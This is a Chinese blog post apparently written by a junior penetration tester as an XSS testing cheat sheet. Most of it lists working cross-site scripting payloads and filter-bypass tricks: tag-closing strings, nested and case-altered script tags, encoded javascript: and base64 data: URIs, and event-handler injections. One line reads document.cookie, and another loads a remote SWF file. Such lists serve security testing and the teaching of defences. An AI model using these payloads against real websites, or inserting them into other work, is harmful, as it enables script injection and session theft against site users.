XSS————3、XSS测试思路

0x00前言

作为一个刚入行的菜鸟,之前对XSS测试的思路没有一个具体化的总结

今天下午写了一下关于测试XSS渗透测试过程的总结

希望大家能在底下写上自己常用的和好用的payload

谢谢!!!

0x01 关于闭合前方标签

首先自然是测试如何闭合前面的标签来成功插入自己的XSS代码,下面给出了几种常用的闭合

1. ’>  ‘>  “>   “/>   ‘>>  “>>  ‘”>>  ‘>”>  >”>  >”’>  ‘” “>    

2. =’>  ‘)   }     <%, <//, <!,<?可以被解析成<

面对\的转义单引号和双引号 怎么玩 –》宽字节 %c1'> 道理和宽字节注入一样

3.直接过滤尖括号的绕过  "'%&#>  (此处借鉴宝哥,这些字符同样拿来结合上边的)

4.对于标签的闭合 具体还是看前端代码 看是在什么样的标签当中,需要对什么样的父标签进行闭合。。。。。

 

0x02 想办法改变纯纯的script标签

Eg.:<script>alert(/xss/)</script>

<script>被过滤怎么办

标签大小写的绕过:<Script>(大量空格)alert(/xss/)(大量空格)</SCRipt>

<Script>被一次过滤:<scr<script>ipt>alert(/xss/)</scr<script>ipt>

</script>也被过滤了: <scr<script>ipt>alert(/xss/)</scr</script>ipt>

多加几层试一试

Unioncode 16进制 均不可用

当我们的圆括号被过滤了

1.alert`/xss/`

2.`${alert `/xss/`}`

3. <svg><script>alert&#40(大量空格)1&#41 </script></svg>

4. <svg><script>alert&#40/1/&#41</script>

这个位置的alert被过滤了 怎么玩呢

  1. confirm() 和 prompt() 等效
  2. <script>\u0061\u006C\u0065\u0072\u0074(/xss/)</script>  unioncode编码
  3. <script>(大量空格)+alert(/xss/)</script>
  4. <script>setTimeout(alert(88199),0)</script>这个能执行就OK了 也unioncode编码下

0x03 标签元素

1.与事件的组合

<div οnclick="alert('xss')">xss</div>  <div onDbclick="alert('xss')">xss</div>

<div οnmοuseenter="alert('xss')">xss</div>   <div οnmοuseup=alert(15)>xss</div>  

<div οnmοuseοver=alert(15)>xss</div>         <div onmousewheel=alert(15)>xss</div>

<div onmove=alert(15)>xss</div>

<div οnmοuseleave=alert(15)>xss</div>       <div onmoveend=alert(15)>xss</div>

<div οnmοusemοve=alert(15)>xss</div>      <div onmovestart=alert(15)>xss</div>

<div οnmοuseοut=alert(/xss/)>xss</div>

<a +上述事件>xss</a>

<p+上述事件>xss</p>

<span+上述事件>xss<span>

<anytag+上述事件>xss

<button+上述事件>xss

<form οnsubmit=”alert(/xss/)”><button>xss

<body οnlοad=alert(/xss/)>

<marquee onstart=alert(30)></marquee>

<select name=”” +上述鼠标事件><select>

<select autofocus οnfοcus=alert(1)>

<textarea autofocus οnfοcus=alert(1)>

<keygen autofocus οnfοcus=alert(1)>

<input οnfοcus=alert(/xss/) autofocus>

<input οnblur=alert(/xss/) autofocus><input autofocus>

如果以上事件或者标签被过滤了怎么办呢

大小写的绕过

<div/οnmοuseοver=alert(15)>xss</div>

利用对敏感字的过滤绕过

Eg. <div/onmou<script>seover=alert(15)>xss</div>

 

2.标签与属性的组合

利用SRC/href属性:

<iframe src=”javascript:alert(/xss/)”>

<a href=”javascript:alert(/xss/)”>

<script src=data:text/javascript,alert(/xss/)></script>

<iframe src="javascript:alert(/xss/)">

<iframe/src="data:text&sol;html;&Tab;base64&NewLine;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">

其他属性:

href=
action=
formaction=
location=
on*=(8/16)
name=
background=
poster=
src=
code=
data= //只支持base64

onxxx里面可以用十六跟八进制 href里面可以用十进制和十六进制

formaction”属性
<isindexformaction="javascript:alert(1)"      type=image>
<input type="image" formaction=JaVaScript:alert(0)>
 <form><button formaction=javascript&colon;alert(1)>CLICKME
“background”属性
<table background=javascript:alert(1)></table> // Works on Opera 10.5      and IE6
“posters” 属性
<video poster=javascript:alert(1)//></video> // Works Upto Opera 10.5
“data”属性
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<object/data=//goo.gl/nlX0P?
“code”属性
<applet code="javascript:confirm(document.cookie);"> // Firefox Only
<embed  code="http://businessinfo.co.uk/labs/xss/xss.swf"      allowscriptaccess=always>

属性内值被过滤了怎么办

首先当然还是大小写转换:

<a href=”javas(TAB)cript:alert(/xss/)”>

<a href=”javascrip&#116&#alert(/xss/)”> HTML属性内的值支持ASCII转码

<a href=”&#01;javascript:alert(/xss/)或者&#1写在相同位置

<a href=”java&#09(&#0A/&#0D);script:alert(/xss/)>

<a href=”javascript&colon;alert(/xss/)”>通过对值的实体编码

<a href=”java&Tab;script:alert(/xss/)”>

<a href=”javasc&NewLine;ript&colon;alert(/xss/)”>

<a href=” data:text/html;base64,PHNjcmlwdD5hbGVydCgiMSIpPC9zY3JpcHQ+” 玮协议

javascript:%0dalert(1)   冒号后面不能连接字符的

javascript:%0dhttp://www.0aa.me%0dalert(xss)   href后边必须带url的

javascript://www.0aa.me%0dalert(xss)   协议后必须跟着网站

3.标签属性和事件组合

<img src=x      οnerrοr=prompt(/xss/);>
<img/src=aaa.jpg      οnerrοr=prompt(/xss/);>防src过滤
<video src=x      οnerrοr=prompt(/xss/);>
<audio src=x      οnerrοr=prompt(/xss/);>

过滤的话可以用类似二次嵌套的方式

<img/src=x      one(过滤的内容)rror=alert(/xss/)>

其他绕过方式就是编码或者进制转换,以及上边的这些方法

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值